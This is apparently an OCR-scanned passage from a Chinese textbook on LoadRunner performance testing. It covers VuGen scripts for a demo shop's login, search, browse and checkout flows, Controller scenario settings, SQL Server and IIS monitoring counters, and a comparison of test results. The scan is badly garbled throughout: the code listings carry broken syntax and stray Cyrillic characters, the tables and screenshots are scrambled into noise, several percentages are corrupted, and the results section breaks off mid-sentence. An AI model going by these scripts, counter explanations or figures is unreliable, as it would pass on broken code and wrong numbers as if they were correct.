上 述 工作 完成 后 ， 正 式 进 入 脚本 设计 与 开发 阶段 。 经 过 几 天 的 学 习 ， 小 白 对 该 系统 已 经 十 分 熟悉 ， 脚 本 的 设计 与 开发 工作 进行 得 也 比较 顺利 。 此 处 对 各 个 业务 脚本 的 关键 点 进行 讲解 ， 同 时 读者 要 回顾 
第 2 章 中 的 内 容 。 


本 系统 为 典型 的 Web 系 统 ， 所 以 采用 Web (HTTP/HTML) 协议 。 在 实际 动手 之 前 ， 应 该 先 与 开发 人 员 沟 通 ， 了 解 哪 些 值 是 动态 变化 的 ， 这 些 值 可 能 需要 在 脚本 中 关联 。 小 白 心 里 也 明白 ， 任 何 技术 都 
能 脱离 业务 ， 脱 离 业务 的 技术 没有 什么 价值 ， 所 以 8.2 节 中 的 内 容 同 样 很 重要 。 经 过 简单 的 沟通 后 ， 小 白 得 知 hidden 标 签 中 的 值 应 该 都 需要 关联 。 


下 面 将 对 单 业 务 中 的 登录 、 搜 索 、 浏 览 以 及 组 合 业务 进行 脚本 的 录制 、 优 化 与 调试 。 

Oum 稳定 性 测试 选择 的 就 是 组 合 业务 脚本 ， 只 是 在 场景 策略 上 稍 有 不 同 ， 所 以 在 后 续 的 脚本 开发 中 不 再 重复 描述 。 

登录 业务 脚本 

登录 业务 脚本 相对 简单 ， 基 本 思路 为 打开 登录 页 ， 提 交 登 录 信息 。 由 于 该 业务 脚本 需要 反复 迭代 ， 所 以 均 放 在 Action 中 ， 同 时 对 用 户 名 进行 参数 化 ， 如 代码 清单 8-1 所 示 。 


代码 清单 8-1 登录 业务 脚本 


Action () 
{ 
web set max html param len ("1024") ; 
// 关 联 ViewState 的 值 
web reg save | param ("Siebel | Analytic ViewState2", 
"LB/IC-ViewStateV" value-V""^, 
"RB/] [C= NN 
"Ord-1", 
"Search-Body", 
"RelFrameld-1", 
LAST) ; 
// 关 联 event 的 值 
web reg save param ("event", 
"LB-id-MV^  EVENTVALIDATIONN" value-2 V^", 
“RB=\” JN. 
LAST ); 
// 打 开 登 录 页 面 
web url ("SignIn.aspx", 
"URL-http: //192.168.3.9/S8ignIn.aspx", 
TargetFrame-", 
Resource-0", 
RecContentType-text/html", 
"Referer-", 


NN 


C 


Snapshot-t3.inf", 
“Mode=HTML”, 
LAST) ; 
// 登 录 事务 ， 参 数 化 用 户 名 username 
lr start transaction ("sign in") ; 
web submit data ("SignIn.aspx 2”, 
"Action-http: //192.168.3.9/SignIn.aspx^, 
"Method-POST", 
"TargetFrame-", 
RecContentType-text/html", 
"Referer-http: //192.168.3.9/SignIn.aspx", 


"Snapshot-tb5.inf", 

"Mode-HTMI.", 

TEMDATA, 

"Name-  EVENTTARGET",  "Value-", ЕМРІТЕМ, 

"Name-  EVENTARGUMENT",  "Value-", ЕМРОІТЕМ, 

"Name-  VIEWSTATE",  "Value-(Siebel  Analytic" ViewState2)",  ENDITEM, 
"Name-  EVENTVALIDATION", "Value-(event]", ENDITEM, 
"Name-ctl0O00S$txtSearch",  "Value-",  ENDITEM, 


lO1ShidCategoryId", "Value-BIRDS",  ENDITEM, 
102ShidCategoryId", "Value-BUGS",  ENDITEM, 


LiD0SCategoriesSrepCategoriesSct 
tl00$Categories$repCategories$ct 
tl00SCategoriesSrepCategories$ctl03ShidCategoryId", "Value-BYARD", ЕМРІТЕМ, 


i 
000000000 
сасаасааоао 
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© 

CD 
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= tegories$repCategoriesSctlO4S$hidCategoryId", "Value-EDANGER",  ENDITEM, 
"Name-ctl00SCategories$repCategories$ctl05ShidCategoryId", "Value-FISH",  ENDITEM, 
"Name-ctl00S$cphPage$LoginSUserName",  "Value-(username)",  ENDITEM, 
"Name-ctl00$cphPage$Login$Password",  "Value-passQwordl",  ENDITEM, 
"Name-ctlO00ScphPageSLogin$LoginButton",  "Value-Sign In", ENDITEM， 
LAST) 
lr end transaction ("sign in", IR AUTO) ; 
return 0; i i 
} 
2. 搜 索 业务 脚本 


搜索 业务 脚本 也 相对 简单 ， 基 本 思路 为 在 搜索 框 内 输入 搜索 关键 字 进 行 搜索 。 为 了 模拟 多 用 户 的 差异 化 搜索 ， 需 要 对 搜索 关键 字 进 行 参 数 化 ， 这 里 选择 热门 搜索 关键 字 和 冷门 搜索 关键 字 的 组 合 。 由 于 
该 业务 脚本 需要 反复 迭代 ， 所 以 均 放 在 Action 中 ， 如 代码 清单 8-2 所 示 。 


N 


代码 清单 8-2 搜索 业务 脚本 


Action () 


/ /搜索 事务 ， 参 数 化 keywords 
lr start transaction ("search") ; 
web url ("Search.aspx", 
"URL-http: //192.168.3.9/Search.aspx? keywords-(keywords])", 
"TargetFrame-", 
Resource-0", 
RecContentType-text /html", 
"Referer-http: //192.168.3.9/Search.aspx? keywords-bird", 
"Snapshot-t7.inf", 
“Mode=HTML”, 
LAST) ; 
lr end transaction (“search”, LR AUTO) ; 
return 0; i 


3. 浏 览 业务 脚本 


浏览 业务 脚本 中 包含 了 列表 页 浏览 、 单 品 页 浏览 。 列 表 页 的 浏览 需要 对 categoryld 进 行 参数 化 ， 单 品 页 的 浏览 需要 对 productld 进 行 参数 化 ， 它 们 都 对 应 业务 类 别 的 ID 值 ， 需 要 提前 预备 好 ， 否 则 会 出 
现 404 页 面 。 由 于 该 业务 脚本 需要 反复 迭代 ， 所 以 均 放 在 Action 中 ， 如 代码 清单 8-3 所 示 。 


代码 清单 8-3 ”浏览 业务 脚本 


Action О) 


{ 
// 浏 览 列 表 事 务 ， 参数 化 categoryId 
lr start transaction - view. list”); 
web url ("Products.as 
"URL-http: //192.168. 3. 9/Products.aspx? page-0&categoryId-[(categoryld)", 
о ME 
"Resource-0" 
"RecConten b Type text/html 
"Referer-http: а 168.3. ТА 
"Snapshot-t4.inf 
“Моае=НтмІ”, 
; 
lr end transaction ("view list”, LR AUTO) ; 
@ т 单 品 页 事务 ， 参数 化 productId E 
lr start Е O view one") ; 
web url ("Items.a 
"URL-http: //192. 168. 3.9/Items.aspx? productId-[(productId)", 
"TargetFrame-", 


"RecContentType-text/htm 


"Referer-http: //192.168.3. оа, aspx? page-0&categoryId-BIRDS", 
"Snapshot-t6.inf", 
"Mode-HTMI 
LAST) ; 
lr end transaction ("view one", LR AUTO) ; 
return 0; 
4. 组 合 业务 脚本 
组 合 业务 脚本 比较 复杂 ， 主 要 表现 在 以 下 几 点 。 


1) 不 同 用 户 登录 系统 后 ， 需 要 按 比 例 分 配 。359% 进 行 搜索 操作 ，309% 进 行 浏览 操作 ，259% 进 行 下 单 操作 ，109% 进 行 其 他 操作 。 
2) 需要 将 每 个 业务 操作 封装 成 事务 ， 同 时 对 参数 进行 参数 化 。 
3) 需要 关联 的 地 方 比较 多 ， 每 个 页 面 都 需要 从 前 一 个 页 面 获取 很 多 动态 变化 的 值 ， 只 要 有 一 个 值 不 正确 ， 脚 本 就 无 法 通过 


组 合 业务 脚本 结构 如 图 8-12 所 示 。 


= $ Áction() 
x = service: Set Max Html Param Len 
Dr] Ез 
E Service: Reg Save Param - Siebel hnalvtic ViewState2 
"ga. Url: Signln. aspx 
шс, start Iransaction - login 
Lg] ERES 
| AB Submit Data: Signin. арх 2 
m^ End Transaction - login 
: рар, l Start Transaction - coming category 
Lr] 7 进入 类 别 页 面 
| Dh Url: Products. aspx 
(eg End Iransaction - coming category 


e Start Transaction - coming product 
^LDr] 7 进入 单 品 页 面 

2h Url: Items. aspx 

ZI End Transaction - coming product 
Fes 


mmm sam 


start Transaction - add shoppingcart 


U] ZB spe 
вт Url: Shoppingtart. aspx 
全 End Transaction - add shoppingcart 


DII] 六 关联 view_state， 用 于 后 续 的 操作 


Service: Reg Save Param - billing address view state 


[DE] Еа, {ЕЗИНЕ 
ET Service! Reg Save Param 一 billing address val 
4 Url: Checküut. aspx 

=ҮРУ 


Om cervice: Reg Save Param 一 shipping address view, state 
ORT service: Reg Save Param 一 shipping address val 
GRS otart Transaction 一 shipping adress 

OD #/ 邮 寄 地 址 页 面 

Е Submit Data: CheckÜut. аѕрх 2 

-© End Transaction 一 shipping adress 

S Service! Reg Save Param 一 payment view state 

- cervice: Reg Save laram 一 payment val 

Start Transaction ~ billing address 
ат 

| submit Data: Checküut. aspx 3 

-Ey End Transaction - billing address 


9 Service: Reg Save Param 一 con view state 


ORE Service: Reg Save Param - con val 
б Start Transaction - payment info 
-0 六 支付 信息 页 面 

Submit Data: Checklut. aspx 4 

- End Transaction 一 payment info 


— 15 Start Transaction 一 pay over 


арат 
Ар submit Data: CheckÜüut. aspx 5 


у End Transaction 一 pay over 
—Dr] 8323539, SS [E keywor ds 
DRS start Iransaction - search 
ZI. Url: Search. aspx 


Qul End Transaction 一 search 


图 8-12 ”组 合 业 务 脚 本 结构 


8.6 执行 测试 
完成 脚本 编写 并 调试 成 功 后 ， 就 要 运行 场景 了 ， 这 里 需要 完成 两 步 ; 设置 场景 和 监控 指标 。 完 成 这 两 步 后 ， 才 可 以 运行 场景 
861 场景 设置 


此 处 根据 8.5.3 节 各 个 用 例 中 的 描述 设置 场景 。 基 本 都 是 采用 慢 增长 的 方式 ， 因 为 这 样 更 加 符合 实际 用 户 操作 场景 。 
由 于 这 几 个 业务 脚本 的 场景 设置 基本 一 致 ， 故 不 一 一 描述 ， 这 里 以 并 发 登录 和 稳定 性 测试 的 场景 设置 进行 描述 ， 同 时 读者 要 回顾 第 3 章 中 的 内 容 。 
1. 并 发 登录 场景 设置 


在 Controller 的 Desgin 界 面 对 并 发 登录 场景 进行 如 图 8-13 所 示 的 设置 。 


Action type Initialize C vim | Net > | Action type Start Vusers [иеби] cce 


(` Initialize all Vusers simultaneously Start[50 | Vusers: 
C Initidlifi H| Vusers every[00 00:15 =) (ИН:ММ:55) C Simultaneously 
(w Initialize each Vuser just before it runs (+ [2 ES Vusers every [00:00:15 Er (HH:MM:SS) 


а» | | |] в» | шша | s | 


а) b) 


Action type Durabon i | Ас+1оп type Stop Vusers < Prewviou | Next > | 
C Run until completion Stop [iai -] Vusare 


(€ Run for) -| days and 00:30:00 (ИН:ШМ:55) C Simultaneously 


(e [s = vusers every [00:00:30 之 (HH:MM:SS) 


kd; cad | ey | ECCE TUN 
c) d) 
图 8-13 “并 发 登录 测试 场景 设置 
最 终场 景 设 置 效果 如 图 8-14 所 示 。 


完成 上 述 操作 后 ， 一 定 要 保存 场景 的 设置 ， 这 是 一 个 好 习惯 。 通 常会 统一 场景 的 格式 命名 ， 这 里 小 白 把 它 保存 为 senario_login_50vusers 30min。 统 一 格式 命名 的 好 处 是 可 以 在 很 多 场景 文件 里 快速 找 
到 需要 的 ， 方 便 进行 管理 ， 而 且 名称 也 清晰 明了 。 


Vusers 
© 


| 
00:00:00 00:05:00 00:10:00 00:15:00 00:20:00 00:25:00 00:30:00 00:35:00 00:40:00 00:45:00 
Time 


图 8-14 并 发 登录 测试 场景 最 终 设置 效果 
ES Initialize cach Vuser just before it rns 选项 一 般 都 需要 勾 选 。 它 在 Vuser 运 行 之 前 会 进行 初始 化 ， 确 保 这 些 Vuser 没 有 问题 ， 
2. 稳 定性 测试 场景 设置 


在 Controller 的 Desgin 界 面 对 稳定 性 测试 场景 进行 如 图 8-15 所 示 的 设置 。 


Áction type Іпібайге < Previou | Next > | ÁÀction type Start Vusers $ Freviou | Next > | 


(C Initialize all Vusers simultaneously Stert|50 了 | Vusers: 
C Initialifi =] Vosers ever 00:00:15 — (HH:MM:SS) C Simultaneously 


(* Initialire each Vuser just before it runs (s [2 -4 Vusers every [00:00:15 pets (HH:MM:SS) 


а) b) 
Kus | TZ UNTEN 
Сюышш шы ° Lm че 


@ Run for|O — days and 05:00:00 QDLWB:SS) C Simultaneously 


« [s | Vusers every [00:00:30 — (HH:MM:SS) 


Áction type Stop Vusers 


Help | | к Cancel | Apply | Help | Cancel | Apply | 
c) 4) 
图 8-15 稳定 性 测试 场景 设置 


最 终场 景 设置 效果 如 图 8-16 所 示 。 


图 8-16 稳定 性 测试 场景 最 终 设置 效果 


3.Run-time Settings 设 置 


细心 的 小 白 在 Controller 中 也 发 现 有 Run-time Settings 的 设置 ， 和 在 VuGen 中 的 一 模 一 样 。 它 们 的 相同 点 是 ， 每 个 选项 的 含义 和 作用 相同 ， 没 有 区 别 。 不 同 点 是 ，VuGen 中 的 是 在 脚本 编写 阶段 用 来 
调试 用 ，Controller 则 是 在 场景 中 使 用 。 


一 般 VuGen 中 的 Run-time Settings 设 置 会 带 到 Controller 中 ， 需 要 根据 实际 情况 重新 设置 。 读 者 需要 回顾 2.7.4 节 中 的 内 容 。 在 本 项 目 中 进行 如 下 的 设置 。 
1) Run Login (运行 逻辑 ) : 如 果 在 场景 中 设 定 了 持续 运行 时 间 ， 那 么 该 选项 一 般 不 会 起 作用 ， 可 忽略 。 


2) Log (日 志 ) : 对 于 性 能 测试 结果 分 析 非 常 重要 。 可 以 根据 日 志文 件 分 析 错 误 的 原因 ， 从 而 给 出 解决 方案 ， 所 以 此 处 要 启用 日 志 输 出 功能 。 如 图 8-17 所 示 ， 只 选中 Send messages only when an 


error occurs 单 选 按钮 。 


3) Think Time (思考 时 间 ) : 设置 为 Replay think time 与 As recorded， 如 图 8-18 所 示 。 脚 本 中 的 思考 时 间 已 经 重新 设置 ， 主 要 是 为 了 模拟 真实 的 用 户 操作 。 这 里 可 以 根据 实际 情况 自行 设 定 。 


- Beneral Log 


Iv Enable logging 


Log igne 


Log messages at the detail level of - 


(+ Standard log 

(` Extended log 一 
[Г Parameter substitution 
[ Data returned by serve 
D ^ Advanced Hace 


Hint- 
Move the mouse over any item to see ts description 


图 8-17 日 志 设 置 


-General: Think Time 
Think Time options 


f^ Ignore think time 
一 位 Replay think time ` 


Hint 
Move the mouse over any item to see its description. 


图 8-18 ”思考 时 间 设 置 
4) 在 Miscellaneous (其 他 ) 中 需要 勾 选 Continue on error， 如 图 8-19 所 示 。 这 样 在 运行 期 间 ， 如 果 出 现 错误 ， 场 景 还 会 继续 执行 直到 结束 。 


5) 在 Preferences (首选 项 ) 中 调整 HTTP-request connect timeout (sec) , HTTP-request revice timeout (sec) 和 Setup download timeout (sec) 三 个 参数 值 为 12000， 如 图 8-20 所 示 。 


General Miscellaneous 


Error Handling 


m m= m mm m m-m m- m mm m = m mm u m=. m mm m =. m mm m mm mm m m..." 


[ Generate snapshot on error 


hi ultithreading 


5% C RunVuser as a process 


œ Run Vuser as а thread 


Automatic Transactions 


[| Define each action as a transaction 


[^ Define each step as a transaction 


Hint 
Move the mouse over any item to see its description. 


图 8-19 ”其 他 设置 


| HTTP version 11 

Keep-Alive HTTP connections Yes 

Accept-Language request header None 

| HTTP errors as warnings No 

HTTP-request connect timeout (sec) 12000 

HTTP-request receive timeout (sec) 12000 

| HTTP Keep-Alive timeout (sec) 60 

Request Zlib Headers Yes 

à 
- Accept server-side compression — 


Indicate to the server that the replay can accept cor 
data may significantly increase CPU consumption 


Cancel | Use Defaults 


图 8-20 首选 项 设置 


»ssed data. Note: Accepting cor 


6) 其 他 选项 一 般 保 持 默 认 即 可 。 
4. 添 加 压力 机 


压力 机 的 添加 方法 已 经 在 3.2.3 节 中 详细 讲解 ， 此 处 不 再 重复 。 本 项 目 中 添加 的 压力 机 如 图 8-21 所 示 。 


fe Disconner | 
ip Ай. | 


图 8-21 压力 机 


如 果 并 发 用 户 数 比 较 大 ， 那 么 可 能 一 台 机 器 无 法 完成 ， 这 时 候 可 以 换 成 Linux 压 力 机 或 者 多 加 几 台 Windows 压 力 机 ， 操 作 方 法 已 在 3.2.3 节 中 讲解 。 


8.6.2 监控 设置 


场景 设置 完成 后 ， 需 要 对 需要 监控 的 指标 进行 设置 了 。 这 里 利用 分 层 的 思想 来 思考 ， 大 致 为 底层 的 数据 库 ， 往 上 一 层 的 IIS 服务 ， 再 往 上 则 是 UI， 最 后 还 有 服务 器 (此 处 为 Windows) 。 如 何 监控 
Windows 服 务 器 以 及 重要 的 监控 指标 已 在 3.3.2 节 中 详细 描述 ， 此 处 不 再 重复 。MS SQL Server 和 llS 的 监控 设置 过 程 如 下 。 


1. 监 控 MS SQL Server 


底层 的 数据 库 是 MS SQL Server， 那 么 监控 它 是 必需 的 。 监 控 方 法 同 3.3.2 节 中 监控 Windows 的 方法 类 似 。 在 LoadRunner Controller 中 的 Database Server Resource Graphs 中 打开 MS SQL Server, 
然后 填写 好 IP， 添 加 重要 的 监控 指标 即 可 。 重 要 的 监控 指标 如 表 8-3 所 示 。 


表 8-3 Microsoft SQL Servet 重 要 监控 指标 


Object ( 对象) 


Access Methods 


Buffer Manager 


Plan Cache 


Latches 


General Statistics 


Locks 


Memory Manager 


SOL Statistics 


2. 监 控 |1S 


Counters (计数 器) 


Full Scans/sec 


Buffer cache hit ratio 


Page reads/sec 


Page writes/sec 


Lazy writes/sec 


Cache Hit Ratio 


Average Latch Wait Time(ms) 


User Connections 


Lock Waits/sec 
Average Wait Time (ms) 


Number of Deadlocks/sec 


Memory Grants Pending 


Batch Requests/sec 


SOL Compilations/sec 


SOL Re-Compilations/sec 


含义 以 及 判断 技巧 


每 秘 全 表 扫 描 的 数量 。 由 于 全 表 扫 描 需 要 耗费 大 量 时 间 ， 因 此 
全 表 扫 描 频 率 过 高 的 话 ， 会 影响 性 能 。 

如 果 该 指标 的 值 比 1 或 2 高 ， 应 该 分 析 涉 及 的 查询 ， 
否 需 要 全 表 扫 描 ， 以 及 SQL 查询 是 否 可 以 被 优化 


是 指 在 缓冲 区 高 速 绥 存 中 找到 ， 而 不 需要 从 磁盘 中 读 取 的 页 的 
日 A. 由 于 从 绥 存 中 读 取 数据 比 从 磁盘 中 读 取 数据 的 开销 小 得 
=. 一 般 和 希望 该 比率 高 一 些 ， 该 指标 的 值 最 好 JJ 9094 或 更 高 

每 秘 读 的 页 数 。 蚌 指 每 秘 发 出 的 物理 数据 库 页 计 取 数 ， 

该 指标 主要 考察 数据 库 从 磁盘 读 取 数据 的 频率 。 因 为 物理 IO 
会 耗费 太 量 时 间 ， 所 以 应 尽 可 能 地 减少 物理 IO 以 提高 性 能 。 该 
E br S ELI Fg nf HERB ^] 

母 秒 写 的 页 数 。 是 指 每 秒 执行 的 物理 数据 库 与 的 页 数 。 该 指标 
的 值 应 尽 可 能 地 小 
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A WERKS 

情 性 编 与 硕 是 一 个 系统 进程 ， 用 于 成 批 刷 新 脏 的 、 
区 。 该 指标 的 值 最 好 为 0 

e xl SE arp x 
Buffer Cache 以 及 Procedure Cache, 
中 率 ， 是 总 体 的 比率 


以 确定 是 


老化 的 组 冲 


在 SOL Server "P, Cache 包括 Log Cache, 
该 指标 是 指 所 有 Cache 的 命 


加 果 该 值 持续 低 于 80%， 就 需要 增加 更 多 的 内 存 

指 一 个 SOL Server 线程 必 qk уе Е и, 如 果 该 指 
标的 值 很 高 ， 则 系统 可 能 正经 历 严重 的 资源 竞争 问题 

是 指 系 统 中 活动 的 SQL 连接 数 。 该 计数 器 的 信息 可 以 用 于 确 


定 系 统 的 最 大 并 发 用 户 数 


ew. ык 立刻 得 到 授权 ， 而 等 待 的 锁 请 求 数 。 
理想 情况 下 ， 该 计数 器 的 值 应 该 尽 可 能 为 0 


线程 等 待 某 种 类 型 的 锁 的 平均 等 待 时 间 


指 每 秒 导 致死 锁 的 锁 请 求 数 。 死 锁 对 于 应 用 程序 的 可 伸缩 性 
MEE. 并 且 会 导致 恶 步 的 用 户 体验 。 该 计数 器 必须 为 0 
是 指 每 秒 等 待 工作 空间 内 存 授 权 的 进程 数 。 
能 接近 0， 和 否则 预示 可 能 存在 着 内 存 撼 矣 
Sr ui ad TRI. 
5st E] f ЖК. ^] 


Vr BUR br P Es T 


VAT Sca tit Е ХЕ Ж 


是 指 每 秒 编 译 数 。 在 理想 状态 下 ， 该 计数 器 的 值 应 该 低 ， 如 果 
Batch Requests/sec М С АЗЕ 接近 该 计 War, IATE TE 
大 量 的 特殊 SQL 调用 。 用 户 活动 稳定 后 ， 该 值 将 达到 稳定 状态 


是 指 每 秒 的 重新 编译 数 。 该 计数 器 的 值 越 低 越 好 。 存 依 过 程 在 
理 扯 情况 下 应 该 只 编 译 一 次 ， 然 后 被 它们 的 执行 计划 重复 利用 。 
如 果 该 计数 器 的 值 较 高 或 许 需要 换个 方式 编写 存储 过 程 ， 从 而 
jd, УЕ Ж РЕП K PY 


监控 |15 的 方法 同 3.3.2 节 中 监控 Windows 的 方法 类 似 。 在 LoadRunner Controller 中 的 Web Server Resource Graphs 中 添加 。 重 要 的 监控 指标 如 表 8-4 所 示 。 


表 8-4 IIS 重 要 监控 指标 


Object (对 象 ) 含义 以 及 判断 技巧 

НК 3 竺 时间， 如 果 请 求 总 数 一 直 处 于 比较 高 的 水 平 ， 同 时 
DRS 时 间 也 ,比较 大 ， 则 应 用 服务 硕 本 身 可 能 就 是 瓶颈 

十 ты Sent/sec 与 Bytes Received/sec 的 总 和 。 这 是 Web HE 
F RFEDI НУ A y Ж 

Current Blocked Async TES 
I/O Requests 8 


Active Server Page 


Request Wait Time (ms) 


Bytes Total/sec 


果 制 设置 而 暂时 被 阻止 的 请 求 数 


由 于 带宽 


于 找 不 到 请 求 的 文档 而 无 法 完成 请 求 所 导致 的 出 错 
belii ыы TRE X u] К т 

E? "i 让 等 待 服务 的 请 求 数目 。 当 该 数 开 始 随 负 载 的 增多 而 线 
Requests Опепеа 性 增加 时 ，Web 服务 器 已 达到 能 同时 处 理 请 求 数 的 上 限 。 该 数 
的 默认 最 大 值 为 $000 
拒 缀 的 请 求 数 。 由 于 服务 硕 资 源 不 足 无 法 处 理 请 求 ， 而 未 能 
Requests Rejected 执行 的 请 求 总 数 。 
该 计数 器 表示 返回 503 HTTP 状态 代码 (指示 服务 器 太 忙 ) 
缓存 总 流通 率 。 每 秒 对 缓存 的 添加 数 和 移 除 数 ， 它 有 助 于 确 
Cache Total Turnover Rate | 定 缓存 的 使 用 效率 . 
如 果 流 通 率 较 高 ， 则 表示 未 能 有 效 地 使 用 缓存 
管线 实例 计数 。 指 定 的 ASPNET 应 用 程序 的 活动 请 求 管 线 
实例 的 数目 。 由 于 只 有 一 个 执行 线程 可 以 在 管线 实例 中 运行 ， 
Pipeline Instance Count 这 个 数 给 出 了 给 定 应 用 程序 能 同时 处 理 的 最 大 请 求 数 ， 
在 大 多 数 情 况 下 ， 负 载 大 时 (这 表明 CPU 被 大 量 使 用 )， 
{НҢ ЖАК ТЕЕ 


Web Service 


Not Found Errors/sec 


ASP .NET 


ASP .NET Application 


更 多 指标 可 查看 MSDN: http://msdn.microsoft.com/zh-cn/library/fxk122b4.aspx, 


8.63 ”运行 场景 与 实时 监控 


完成 上 述 所 有 操作 后 ， 就 可 以 运行 场景 了 ， 只 需要 单 击 Start Scenario 按 钮 即 可 。 


这 里 需要 注意 ， 在 场景 执行 前 ,一 定 要 确保 各 项 设置 以 及 监控 服务 器 的 正确 性 和 连通 性 。 同 时 保持 环境 的 干净 ， 不 要 在 服务 器 上 开启 其 他 无 关 的 服务 ， 也 不 要 在 LoadRunner 所 在 的 客户 端 上 进行 过 多 
的 操作 ， 并 关闭 不 需要 的 软件 以 及 服务 。 


在 场景 执行 过 程 中 ，LoadRunner 会 自动 收集 数据 ， 并 以 数据 图 表 的 方式 实时 展现 出 来 。 初 期 最 好 实时 观察 各 项 指标 的 变化 ， 用 以 确定 当前 场景 是 否 正常 运行 。 如 果 出 现 严 重 错误 ， 比 如 出 现 大 量 的 脚 
本 错误 提示 ， 则 要 及 时 停止 测试 ， 并 重新 检查 脚本 的 正确 性 。 


接 下 来 就 让 我 们 和 小 白 一 起 来 看 看 监控 中 数据 图 表 的 变化 吧 。 因 为 每 个 场景 监控 的 指标 是 差不多 的 ， 只 是 业务 不 同 而 已 ， 所 以 不 一 一 描述 ， 此 处 以 登录 为 例 进行 讲解 ， 后 续 会 对 所 有 业务 的 性 能 数据 图 
表 进 行 分 析 。 


场景 执行 后 的 效果 如 图 8-22 所 示 。 
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图 8-22 ”场景 执行 后 的 效果 


接着 在 场景 运行 初期 要 对 各 个 指标 进行 概览 ， 以 确保 没有 大 问题 产生 ， 具 体 步骤 需要 看 如 下 图 表 。 


1) 查看 虚拟 用 户 图 ， 观 察 是 否 按照 8.4.3 节 中 的 性 能 测试 用 例 设计 的 慢 增长 方式 运行 ， 如 图 8-23 所 示 。 
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图 8-23 EAP 
2) 查看 场景 信息 统计 。 可 以 看 出 当前 正在 运行 的 虚拟 用 户 数 、 执 行 时 间 、 点 击 率 (最 后 60s) 、 通 过 事务 数 、 失 败 事务 数 以 及 产生 的 错误 数 。 对 整个 场景 状况 进行 大 概 了 解 ， 如 图 8-24 所 示 。 
3) 查看 平均 事务 响应 时 间 图 。 系 统 性 能 好 坏 最 直接 的 指标 就 是 事务 的 响应 时 间 。 图 8-25 显 示 了 本 次 场景 执行 中 的 事务 响应 时 间 总 体 趋势 。 


4) 查看 每 秒 点 击 率 图 。 可 初步 观察 请 求 数 是 否 正 常 。 如 图 8-26 所 示 ， 随 着 并 发 用 户 数 的 增加 每 秒 点 击 率 也 逐步 增加 ， 当 并 发 用 户 数 稳定 后 ， 每 秒 点 击 率 也 基本 趋 于 平滑 ， 并 没有 产生 较 大 的 波动 ， 所 
以 基本 正常 。 如 果 出 现 了 较 大 的 波动 ， 则 可 能 是 服务 器 端 产生 了 大 量 报错 ， 或 者 客户 端 请 求 丢 失 ， 抑 或 是 网 络 不 稳定 导致 ， 具 体 问题 需要 后 续 具 体 分 析 。 
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图 8-24 场景 信息 统计 
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图 8-25 ”事务 响应 时 间 


Hie per serand - whele Есепапо 
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图 8-26 ”每 秒 点 击 率 


5) 查看 吞吐 量 图 。 可 初步 观察 服务 器 的 处 理 能 力 如 何 。 如 图 8-27 所 示 ， 随 着 并 发 用 户 数 的 增加 ， 吞 吐 量 也 逐步 增加 ， 当 并 发 用 户 数 稳定 后 ， 吞 吐 量 也 基本 趋 于 平滑 ， 并 没有 产生 较 大 的 波动 ， 所 以 基 

本 正常 。 如 果 出 现 了 较 大 的 波动 ， 则 可 能 是 服务 器 端 产生 了 大 量 报错 ， 人 处 理 能 力 下 降 导 致 ， 具 体 问 题 需要 后 续 具体 分 析 。 
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图 8-27 吞吐 量 


6) 查看 Windows 资 源 利用 率 图 。 图 8-28 会 显示 出 监控 的 各 项 指标 ， 恕 CPU、 内存、 磁盘、 网络、 队列、 缓存 等 。 
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图 8-28 Windows ЖЕЛ] Л] Ж 


7) 查看 ls 监控 图 。 如 图 8-29 所 示 ， 可 以 查看 监控 的 l19 指 标 。 各 指标 曲线 比较 平滑 ， 没 有 大 问题 。 


HS 15 - Last6D sec 


00:03:20 00:03:30 00:03:40 00:03:50 00:04:00 00:04:10 


8-29 _ IIS 性 能 曲线 


8) 查看 SQL server 图 。 可 以 查看 SQL 状态 、 死 锁 、 全 表 扫 描 等 指标 ， 如 图 8-30 所 示 。 
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图 8-30 SQL Server 性 能 曲线 
9) SQL Server Profile 捕 捉 。 在 性 能 测试 期 间 ， 开 启 了 SQL Server Profile 的 功能 ， 以 供 后 期 优化 数据 库 使 用 ， 如 图 8-31 所 示 。 


ЕтепіС1а== | TextData — | WIUserWane | Logixifane CEU т [е (биш: | ClientPr ocessIh [n |: 


Ei Completed exec sp rezsei connection Het SglClis.. ü 2920 
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图 8-31 SOL Server Ptofile 抓 取信 息 


8.7 ”性 能 测试 分 析 与 调 优 建议 


性 能 测试 结束 后 ， 需 要 把 得 出 的 实际 指标 记录 下 来 ， 并 与 预期 指标 对 比 ， 看 是 否 通过 测试 ， 具 体 对 比如 表 8-5 所 示 。 


表 8-5 测试 结果 对 比 


测试 点 


Р-У pa] Л УВ] = 25 
事务 成 功率 100% 

CPU HFRS 55% 
P3 fr fd: R]: = 50% 


E 33s] Fr RJ [8] < 25 
事务 成 功率 10096 

CPU 使 = 55% 
内 存 使 用 率 三 50% 


F-J] y HJ [RB] < 
事务 成 功率 жн 


CPU HFRS 55% 


Vi fr B Ri: 50% 


HA ny I] 100% 
CPU 使 用 率 三 60% 
HEERES 55% 


事务 成 功率 100% 


CPU Н = 65% 


内 存 使 用 率 三 60% 


通过 表 8-5 的 对 比 ， 最 终 的 结果 如 下 。 
1) 浏览 、 组 合 业务 以 及 稳定 性 的 性 


2) 大 部 分 业务 存在 一 个 共性 问题 : 


测试 未 通过 ， 没 


平均 啊 应 时 间 = 0.644 
事务 成 功率 =100% 

CPU 使 用 率 = 27% 

内 存 使 用 率 = 50% 

标 淮 差 = 0.206 

最 太 响 应 时 间 = 3.609 
平均 啊 应 时 间 = 0.959 
事务 成 功 * =100% 

CPU 使 用 率 = 35% 

内 存 使 用 率 = 50% 
标准 差 = 0.398 

最 大 啊 应 时 间 = 19.409 
平均 响应 时 间 = 2.064 
事务 成 功率 =100% 

CPU 使 用 率 = 15% 

内 存 使 用 率 = 65% 

标准 差 = 0.724 

最 大 啊 应 时 间 = 16.794 
登录 平均 啊 应 时 间 = 0.829 
搜索 平均 响应 时 间 = 0.376 
浏览 平均 响应 时 间 = 0.6 
下 单 支付 平均 响应 时 间 = 2.834 
事务 成 功率 均 汶 100% 

CPU 使 用 率 = 35% 

内 存 使 用 率 = 70% 

登录 平均 响应 时 间 = 0.917 
搜索 平均 啊 应 时 间 =0.418 
浏览 平均 响应 时 间 = 0.673 
下 单 支付 平均 啊 应 时 间 = 2.004 
事务 成 功率 100% 

CPU 使 用 率 = 45% 

内 存 使 用 率 = 75% 


有 达到 预期 指标 。 


占用 内 存 比较 多 。 


3) 可 能 在 全 表 扫 描 、 缓 存 、SQL、 处 理 器 方面 存在 问题 。 


Qum 这 里 仅 根 据 测 试 数 据 得 出 是 


